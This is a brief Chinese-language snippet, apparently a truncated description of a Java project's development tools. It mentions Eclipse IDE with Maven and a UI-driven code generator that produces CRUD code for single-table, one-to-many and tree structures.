开发工具 1.Eclipse IDE:采用Maven项目管理,模块化。 2.代码生成:通过界面方式简单配置,自动生成相应代码,目前包括三种生成方式(增删改查):单表、一对多、树结构。生成后的代码如果…...